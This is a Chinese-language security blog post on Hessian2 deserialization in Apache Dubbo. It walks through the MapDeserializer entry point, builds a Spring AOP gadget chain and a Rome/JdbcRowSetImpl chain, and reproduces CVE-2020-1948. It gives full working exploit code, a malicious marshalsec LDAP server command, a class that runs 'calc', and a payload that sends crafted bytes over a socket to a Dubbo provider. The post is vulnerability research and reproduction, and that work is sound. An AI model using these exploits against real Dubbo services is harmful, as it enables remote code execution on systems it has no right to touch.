0 前言

本篇是系列文章的第一篇,主要看看Dubbo使用反序列化协议Hessian2时,存在的安全问题。文章需要RPC、Dubbo、反序列化等前提知识点,推荐先阅读和体验Dubbo以及反序列化漏洞。

Dubbo源码分析

RPC框架dubbo架构原理及使用说明

RPC 框架 Dubbo 从理解到使用(一)

[RPC 框架 Dubbo 从理解到使用(二)

1 反序列化协议-Hessian2

hessian2是由caucho开发的基于Binary-RPC协议实现的远程通讯库,知名Web容器Resin的也是由caucho开发的。

在java中使用hessian2进行序列化和反序列化时,通过native方法或者反射(实际也用了native方法)直接对Field进行复制操作,与某些调用setter和getter方法反序列化的方法不同。

1.1 目标类类型反序列化器

在使用hessian2进行序列化和反序列化操作时,会自动根据类对象选择序列化器和反序列化器,例如在Dubbo的jar包中,有com.alibaba.com.caucho.hessian.io.Hessian2Output类,该类有writeObject方法如下

  • com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()
@Override
public void writeObject(Object object) throws IOException {
if (object == null) {
writeNull();
return;
} Serializer serializer;
serializer = findSerializerFactory().getSerializer(object.getClass());
serializer.writeObject(object, this);
}

这里的serializer对象,显然就是通过传入的object类型,找到对应的序列化器,然后再使用对应的序列化器,对object进行序列化。hessian2中可以序列化的类型与相应的序列化器和反序列化器对应关系如下

类型 序列化器 反序列化器
Collection CollectionSerializer CollectionDeserializer
Map MapSerializer MapDeserializer
Iterator IteratorSerializer IteratorDeserializer
Annotation AnnotationSerializer AnnotationDeserializer
Interface ObjectSerializer ObjectDeserializer
Array ArraySerializer ArrayDeserializer
Enumeration EnumerationSerializer EnumerationDeserializer
Enum EnumSerializer EnumDeserializer
Class ClassSerializer ClassDeserializer
默认 JavaSerializer JavaDeserializer
Throwable ThrowableSerializer
InputStream InputStreamSerializer InputStreamDeserializer
InetAddress InetAddressSerializer

可以看出,Collection、Map、Iterator、Array这些常用类型都有相应的(反)序列化器

1.2 Hessian2中的gadget起始点

前面提到针对不同类型Hessian2中有相应的(反)序列化器,添加hessian2的依赖,从com.caucho.hessian.io.Hessian2Input#readObject()开始看源代码

  • com.caucho.hessian.io.Hessian2Input#readObject(Class cl)
public Object readObject(Class cl) throws IOException{
if (cl == null || cl == Object.class) return readObject(); int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'N':
{return null;}
..... // 省略
case 'H':
{
Deserializer reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
} case 'M':
{
String type = readType();
// hessian/3bb3
if ("".equals(type)) {
Deserializer reader;
reader = findSerializerFactory().getDeserializer(cl);
return reader.readMap(this);
}
else {
Deserializer reader;
reader = findSerializerFactory().getObjectDeserializer(type, cl);
return reader.readMap(this);
}
}
..... // 省略
}
}

这里的case中,H是HashMap的序列化标志,M是Map的序列化标志,Hessian2反序列化时,根据该标值,获取相应的反序列化器,即Deserializer,而针对不同的类型,反序列化器还有不同的处理,这里H和M都会获取到MapDeserializer,因此跟进该类的readMap方法

  • com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException {
Map map; if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
} in.addRef(map);
while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());
}
in.readEnd();
return map;
}

可以看到,根据_type这个参数去选择构建哪种类型的Map类,而后通过while循环调用map.put方法将所有的key-value,传递到map中,而后返回这个创建的Map实例。如果对Commons-Collections利用链比较熟悉的话,应该会想到HashMap的利用链,在调用HashMap#put方法时,会触发HashMap#hashCode方法,并进一步调用key.hashCode()方法,由于key被设置为了TiedMapEntry的实例,因此一步一步进入Transformer调用链。而这里的map.put方法正是Hessian2的gadget起始点。在Dubbo中,虽然对Hessian2进行了一些魔改,但最终也会出现相同的调用:

2 Dubbo中的Hessian2漏洞利用

所用到的环境:

dubbo 2.7.3

springboot 1.2.0.RELEASE (spring version 4.1.3.RELEASE)

2.1 本地方法测试

前面以及提到了,由于hessian2协议在反序列化中调用readObject()方法时,会调用根据反序列化的Map类型创建一个新的Map对象,而后调用该对象的put方法,因而可能造成反序列化漏洞利用。这里先自己写一个类实验一下

package com.bitterz.dubbo;

import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput;
import java.io.*;
import java.util.HashMap; public class Hessian2Gadget {
public static class MyHashMap<K, V> extends HashMap<K, V>{ public V put(K key, V value) {
super.put(key, value);
System.out.println(111111111);
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){}
System.out.println(22222222);
return null;
}
} public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
MyHashMap map = new MyHashMap();
map.put("1", "1"); // hessian2的序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
hessian2Output.writeObject(map);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray(); System.out.println(new String(bytes, 0, bytes.length));
// hessian2的反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject();
o.get(null); System.out.println(o);
}

我这里创建了一个MyHashMap类继承自HashMap,并重写了put方法,而后在main方法中利用hessian2对MyHashMap进行序列化和反序列化操作,执行代码后,输出结果如下

很明显,MyHashMap#put方法执行了两次:

  • 序列化前为了向map中添加值put了一次,所以弹出一次计算器,并输出了111和222;

  • 反序列化时,如前面所述,会调用到反序列化Map类的put方法去添加值,所以又弹出一次计算器,并输出111和222;

因此Dubbo中hessian2协议确实存在被反序列化漏洞利用的可能性,但真正的Web环境中,不可能存在MyHashMap这样的类,直接提供弹计算器的put方法:)因此还需要结合其它依赖进一步增加gadget的可利用性。

2.2 SpringPartiallyComparableAdvisorHolder

Dubbo缺省依赖Spring、Javassist、netty等包,但实际开发使用中很可能用到springboot做微服务,以provider的身份提供服务,所以可以借助常用的包完成gadget的构建,常见的hessian2可用gadget主要是ResinRomeSpringAbstractBeanFactoryPointcutAdvisorXBean这几个。SpringPartiallyComparableAdvisorHolder是Spring AOP中需要用到的类,所以就以这个为例子构建一下poc,代码如下

package com.bitterz.dubbo;

import com.caucho.hessian.io.*;
import org.apache.commons.logging.impl.NoOpLog;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap; public class Hessian2SpringGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
} public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
} public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
} public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
} public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
} public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
} public static void main(String[] args) throws Exception {
String jndiUrl = "ldap://localhost:1389/ExecTest";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl); //反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl); //反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); //反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice); //反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString
Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor); //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx")); //反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); // 避免序列化时触发gadget
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl); // hessian2序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
hessian2Output.setSerializerFactory(sf);
hessian2Output.writeObject(s);
hessian2Output.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray(); // hessian2反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
HashMap o = (HashMap) hessian2Input.readObject(); }
}

还需要用marshalsec开一个恶意ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

其中ExecTest.class由如下代码编译而成

import java.io.IOException;
public class ExecTest {
public ExecTest() throws IOException {
final Process process = Runtime.getRuntime().exec("calc");
}
}

之后用python在ExecTest.class文件目录中开启文件下载服务

py -3 -m http.server 8090

运行前面的gadget,ldap服务收到请求,并让客户端访问8090端口下载.class文件,并执行该类的无参构造方法,弹出计算器

前面的gadget在注释中已经写明了具体的触发路径,就不做详细的展开了,可以将ExecTest.java中弹计算器的代码替换成new java.io.IOException().printStackTrace();,再跟踪调用栈即可。这个gadget在springboot下无法复现成功,可能是springboot中aop相关类有一些修改

2.3 Rome (CVE-2020-1948复现)

Rome是java中实现RSS订阅的包,依赖如下

<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>

这里复现CVE-2020-1948(Apache Dubbo Provider 反序列化)

  • 首先下载zookeeper
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
  • 配置
vim conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/绝对路径/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
  • 修改绝对路径,在data目录下放置一个myid文件
mkdir data
touch data/myid
  • 启动zookeeper
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
  • 安装dubbo-samples
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
  • 修改dubbo-samples/dubbo-samples-api/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId>
<artifactId>dubbomytest</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build> <properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<dubbo.version>2.7.6</dubbo.version>
<junit.version>4.12</junit.version>
<docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
<jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
<maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
<image.name>${project.artifactId}:${dubbo.version}</image.name>
<java-image.name>openjdk:8</java-image.name>
<dubbo.port>20880</dubbo.port>
<zookeeper.port>2181</zookeeper.port>
<main-class>org.apache.dubbo.samples.provider.Application</main-class>
</properties> <dependencies>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.3</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-common</artifactId>
<version>2.7.3</version>
</dependency> <dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.3</version>
<type>pom</type>
</dependency>
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency> </dependencies> </project>
  • 编译启动
mvn clean package
或者直接在idea里面启动provider/Application.java

注意修改zookeeper和dubbo的端口,启动后输出dubbo service started即表示dubbo已启动

使用的payload如下

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Random;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import com.caucho.hessian.io.*;
import sun.reflect.ReflectionFactory; import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; public class Hessian2RomeGadget {
public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
public NoWriteReplaceSerializerFactory() {
} public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
return super.getObjectSerializer(cl);
} public Serializer getSerializer(Class cl) throws HessianProtocolException {
Serializer serializer = super.getSerializer(cl);
return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
}
} public static class Reflections{
public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
Field field=null;
Class cl = obj.getClass();
while (cl != Object.class){
try{
field = cl.getDeclaredField(fieldName);
if(field!=null){
break;}
}
catch (Exception e){
cl = cl.getSuperclass();
}
}
if (field==null){
System.out.println(obj.getClass().getName());
System.out.println(fieldName);
}
field.setAccessible(true);
field.set(obj,fieldValue);
} public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
} public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
} public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest");
rs.setMatchColumn("foo");
Reflections.setFieldValue(rs, "listeners",null); ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item); HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2); // set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4); ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf); out.writeObject(s); out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
} Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray()); byte[] bytes = byteArrayOutputStream.toByteArray(); //todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}

和前面2.2一样,用marshalsec开启jndi服务,再用python开个文件下载服务,然后执行payload,向dubbo发送恶意数据,而后在dubbo provider中反序列化触发相应的gadget,实现rce,效果如下

该漏洞在Dubbo 2.7.8中被修复,通过添加黑名单的形式过滤了关键类

总结

dubbo中的hessian2反序列化时,处理map类型的对象会调用map.get方法,而get方法在HashMap的实现中会设计到hashCode、equals方法的调用,从而给某些危险的类方法调用造成了可乘之机。而dubbo使用hessian2作为默认的反序列化协议,容易被发起反序列化漏洞攻击,应当使用白名单过滤反序列化类名。另外有大佬提到,使用黑名单的情况下,对象被反序列化后,调用对象的其它方法,也可能造成威胁http://rui0.cn/archives/1338

这一篇是Dubbo反序列化研究记录的开始,后面还将针对

  • Dubbo 2.x下的kryo、fst反序列化漏洞进行学习和研究(CVE-2021-25641)
  • 基于kryo的akka协议在flink中的漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 以及Dubbo 3.x下的triple协议产生的安全漏洞进行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
  • 漏洞复现:CVE-2021-30180:Apache Dubbo YAML 反序列化漏洞、CVE-2021-30181:Apache Dubbo Nashorn 脚本远程代码执行漏洞、CVE-2021-30179:Apache Dubbo Generic filter 远程代码执行漏洞、CVE-2021-32824:Apache Dubbo Telnet handler 远程代码执行漏洞复现

Dubbo的反序列化安全问题-Hessian2的更多相关文章

  1. Dubbo的反序列化安全问题——kryo和fst

    目录 0 前言 1 Dubbo的协议设计 2 Dubbo中的kryo序列化协议触发点 3 Dubbo中的fst序列化协议触发点 3.1 fst复现 3. 2 思路梳理 4 总结 0 前言 本篇是Dub ...

  2. dubbo 序列化机制之 hessian2序列化实现原理分析

    对于远程通信,往往都会涉及到数据持久化传输问题.往大了说,就是,从A发出的信息,怎样能被B接收到相同信息内容!小点说就是,编码与解码问题! 而在dubbo或者说是java的远程通信中,编解码则往往伴随 ...

  3. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  4. dubbo序列化

    序列化:把对象转换为字节序列的过程称为对象的序列化. 反序列化:把字节序列恢复为对象的过程称为对象的反序列化. dubbo 支持多种序列化方式并且序列化是和协议相对应的.比如:dubbo协议的 dub ...

  5. dubbo 支持的9种协议

    转: dubbo 支持的9种协议 文章目录 一.9种协议        1.dubbo 协议 (默认)        2.rmi 协议        3.hessian 协议        4.htt ...

  6. 网络协议-dubbo协议

    Dubbo支持dubbo.rmi.hessian.http.webservice.thrift.redis等多种协议,但是Dubbo官网是推荐我们使用Dubbo协议的. 下面我们就针对Dubbo的每种 ...

  7. 通过CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下实现RCE

    目录 0 前言 1 找源头 1.1 找到触发点 1.2 可用的gadget 1.3 向上推触发点 2 构造poc 2.1 开启HttpServer 2.2 hessian2序列化过程简述 3 poc ...

  8. dubbo序列化的一点注意

    最近工作中遇见了一个小问题,在此记录一下,大致是这样的,有一父类,有一个属性traceId,主要是记录日志号,这样可以把所有日志串起来,利于排查问题,所有的pojo对象继承于此,但是其中一同事在子类p ...

  9. Dubbo序列化多个CopyOnWriteArrayList对象变成同一对象的一个大坑!!

    环境: win10 + jdk 1.8 + dubbo 2.5.10 问题描述: 当一个对象(此对象内包含多个CopyOnWriteArrayList对象) 作为参数调用RPC接口后, 服务提供者拿到 ...

随机推荐

  1. Jmeter系列(7)- 分析源码,创建下单、用户注销接口请求

    源码分析 下单 用户注销 创建请求 下单 用户注销 请求调整 将信息头管理器从[02.浏览订单]请求中抽出来就变成公用的.[03,04]请求不需要单独再加信息头管理器 DeBug取样器 添加DeBug ...

  2. pycharm 操作excel

    一.安装openpyxl Python中,往excel写入数据通常使用openpyxl库.也可以使用pandas库.这里讲解如何通过openpyxl库操作excel.pip install openp ...

  3. hadoop报错

    19/11/24 08:29:08 INFO qlh.MyMapreduce: ================this is job================= 19/11/24 08:29: ...

  4. 获取用户id的方法

    /** 获取ip */function getip() { if(getenv("HTTP_X_FORWARDED_FOR")!=''){ $cip = getenv(" ...

  5. CSS 小技巧 | 一行代码实现头像与国旗的融合

    到国庆了,大家都急着给祖国母亲庆生. 每年每到此时,微信朋友圈就会流行起给头像装饰上国旗,而今年又流行这款: emm,很不错. 那么,将一张国旗图片与我们的头像,快速得到想要的头像,使用 CSS 如何 ...

  6. Ueditor Version 1.4.3.3 SSRF

    点以前挖的洞.Ueditor是支持获取远程图片,较为经典的进行限制url请求,但是可以通过DNS重绑定绕过其验证. 代码分析 一般请求的url如下,其中source为数组,值为图片地址: /edito ...

  7. Mysql 5.7版本,所有的坑,这里都有

    MYSQL5.7版本流程的坑,我这里都有 必须按照如下操作.不按照下面操作,出错误不要怪我哦_ 我们首先在官网下载mysql5.7版本 解压之后,在bin相同目录下创建一个my.ini配置文件里面内容 ...

  8. Dapr + .NET Core实战(十一)单机Dapr集群

    如何单机部署Dapr集群 第十篇讲过了K8S集群下如何使用Dapr运行程序,但是很多人一直在问如何单机下进行Dapr的负载,这节课我们来聊聊如何单机进行Dapr的负载. 首先要说的是单机下,通过 da ...

  9. hibernate不同条件查询结果集一样,主键@ID的原因

    这一周在翻新公司的老项目,遇到了一些预想不到的事情. 其中一个是,使用hibernate查询,不同的查询条件,居然都查到同一条记录,感觉奇怪了,开始以为是session的原因: 后来发现是hibern ...

  10. iOS能否自动扫描周边wifi信息并通过密码连接

    能否获取系统wifi列表信息 不能,只能获取用户当前连接的wifi信息 https://developer.apple.com/forums/thread/112177 https://develop ...